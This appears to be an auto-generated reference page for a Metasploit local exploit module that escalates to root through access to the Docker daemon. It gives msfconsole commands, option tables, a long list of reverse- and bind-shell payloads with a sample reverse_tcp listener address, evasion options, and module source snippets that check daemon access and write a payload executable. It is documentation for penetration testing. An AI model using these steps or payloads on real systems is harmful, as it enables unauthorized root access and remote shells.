Docker Daemon Privilege Escalation - Metasploit
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Module Overview
Name: Docker Daemon Privilege Escalation
Module: exploit/linux/local/docker_daemon_privilege_escalation
Source code: modules/exploits/linux/local/docker_daemon_privilege_escalation.rb
Disclosure date: 2016-06-28
Last modification time: 2020-09-18 11:38:43 +0000
Supported architecture(s): x86, x64, armle, mipsle, mipsbe
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module obtains root privileges from any host account
with access to the Docker daemon. Usually this includes
accounts in the docker group.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/linux/local/docker_daemon_privilege_escalation
msf exploit(docker_daemon_privilege_escalation) > show targets
... a list of targets ...
msf exploit(docker_daemon_privilege_escalation) > set TARGET target-id
msf exploit(docker_daemon_privilege_escalation) > show options
... show and set options ...
msf exploit(docker_daemon_privilege_escalation) > set SESSION session-id
msf exploit(docker_daemon_privilege_escalation) > exploit
Required Options
- SESSION: The session to run this module on.
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Msfconsole Usage
Here is how the linux/local/docker_daemon_privilege_escalation exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/docker_daemon_privilege_escalation
[*] No payload configured, defaulting to linux/armle/meterpreter/reverse_tcp
msf6 exploit(linux/local/docker_daemon_privilege_escalation) > show info
Name: Docker Daemon Privilege Escalation
Module: exploit/linux/local/docker_daemon_privilege_escalation
Platform: Linux
Arch: x86, x64, armle, mipsle, mipsbe
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2016-06-28
Provided by:
forzoni
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload information:
Description:
This module obtains root privileges from any host account with
access to the Docker daemon. Usually this includes accounts in the
`docker` group.
Module Options
This is a complete list of options available in the linux/local/docker_daemon_privilege_escalation exploit:
msf6 exploit(linux/local/docker_daemon_privilege_escalation) > show options
Module options (exploit/linux/local/docker_daemon_privilege_escalation):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (linux/armle/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/local/docker_daemon_privilege_escalation exploit:
msf6 exploit(linux/local/docker_daemon_privilege_escalation) > show advanced
Module advanced options (exploit/linux/local/docker_daemon_privilege_escalation):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ForceExploit false no Override check result
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 60 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files
Payload advanced options (linux/armle/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/docker_daemon_privilege_escalation module can exploit:
msf6 exploit(linux/local/docker_daemon_privilege_escalation) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/docker_daemon_privilege_escalation exploit:
msf6 exploit(linux/local/docker_daemon_privilege_escalation) > show payloads
Compatible Payloads
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# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/armle/exec normal No Linux Execute Command
6 payload/linux/armle/meterpreter/bind_tcp normal No Linux Meterpreter, Bind TCP Stager
7 payload/linux/armle/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
8 payload/linux/armle/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/armle/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/armle/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/armle/shell/bind_tcp normal No Linux dup2 Command Shell, Bind TCP Stager
12 payload/linux/armle/shell/reverse_tcp normal No Linux dup2 Command Shell, Reverse TCP Stager
13 payload/linux/armle/shell_bind_tcp normal No Linux Command Shell, Reverse TCP Inline
14 payload/linux/armle/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
15 payload/linux/mipsbe/exec normal No Linux Execute Command
16 payload/linux/mipsbe/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
17 payload/linux/mipsbe/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
18 payload/linux/mipsbe/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
19 payload/linux/mipsbe/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
20 payload/linux/mipsbe/reboot normal No Linux Reboot
21 payload/linux/mipsbe/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
22 payload/linux/mipsbe/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
23 payload/linux/mipsbe/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
24 payload/linux/mipsle/exec normal No Linux Execute Command
25 payload/linux/mipsle/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
26 payload/linux/mipsle/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
27 payload/linux/mipsle/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
28 payload/linux/mipsle/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
29 payload/linux/mipsle/reboot normal No Linux Reboot
30 payload/linux/mipsle/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
31 payload/linux/mipsle/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
32 payload/linux/mipsle/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
33 payload/linux/x64/exec normal No Linux Execute Command
34 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
35 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
36 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
37 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
38 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
39 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
40 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
41 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
42 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
43 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
44 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
45 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
46 payload/linux/x86/chmod normal No Linux Chmod
47 payload/linux/x86/exec normal No Linux Execute Command
48 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
49 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
50 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
51 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
52 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
53 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
54 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
55 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
56 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
57 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
58 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
59 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
60 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
61 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
62 payload/linux/x86/read_file normal No Linux Read File
63 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
64 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
65 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
66 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
67 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
68 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
69 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
70 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
71 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
72 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
73 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
74 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
75 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
76 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/docker_daemon_privilege_escalation exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/docker_daemon_privilege_escalation) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed to access Docker daemon.
Here is a relevant code snippet related to the "Failed to access Docker daemon." error message:
43: def check
44: if cmd_exec('docker ps && echo true') =~ /true$/
45: print_good("Docker daemon is accessible.")
46: Exploit::CheckCode::Vulnerable
47: else
48: print_error("Failed to access Docker daemon.")
49: Exploit::CheckCode::Safe
50: end
51: end
52:
53: def exploit
Session already has root privileges. Set ForceExploit to override.
Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:
51: end
52:
53: def exploit
54: if is_root?
55: unless datastore['ForceExploit']
56: fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
57: end
58: end
59:
60: unless writable? base_dir
61: fail_with Failure::BadConfig, "#{base_dir} is not writable"
<BASE_DIR> is not writable
Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:
56: fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
57: end
58: end
59:
60: unless writable? base_dir
61: fail_with Failure::BadConfig, "#{base_dir} is not writable"
62: end
63:
64: if nosuid? base_dir
65: fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
66: end
<BASE_DIR> is mounted nosuid
Here is a relevant code snippet related to the "<BASE_DIR> is mounted nosuid" error message:
60: unless writable? base_dir
61: fail_with Failure::BadConfig, "#{base_dir} is not writable"
62: end
63:
64: if nosuid? base_dir
65: fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
66: end
67:
68: pl = generate_payload_exe
69: exe_path = "#{base_dir}/#{rand_text_alpha(6..11)}"
70: print_status("Writing payload executable to '#{exe_path}'")
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See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/docker_version
- exploit/linux/http/docker_daemon_tcp
- exploit/linux/local/docker_privileged_container_escape
- exploit/linux/local/docker_runc_escape
- exploit/windows/local/docker_credential_wincred
- post/multi/gather/docker_creds
- exploit/linux/local/desktop_privilege_escalation
- exploit/linux/local/ufo_privilege_escalation
- exploit/multi/browser/firefox_pdfjs_privilege_escalation
- auxiliary/admin/http/wp_easycart_privilege_escalation
- auxiliary/admin/http/wp_wplms_privilege_escalation
- exploit/linux/local/lastore_daemon_dbus_priv_esc
- exploit/linux/http/zenoss_showdaemonxmlconfig_exec
- exploit/windows/ftp/3cdaemon_ftp_user
- exploit/windows/http/mdaemon_worldclient_form2raw
- exploit/windows/imap/mdaemon_cram_md5
- exploit/windows/imap/mdaemon_fetch
- post/windows/gather/credentials/mdaemon_cred_collector
Authors
- forzoni
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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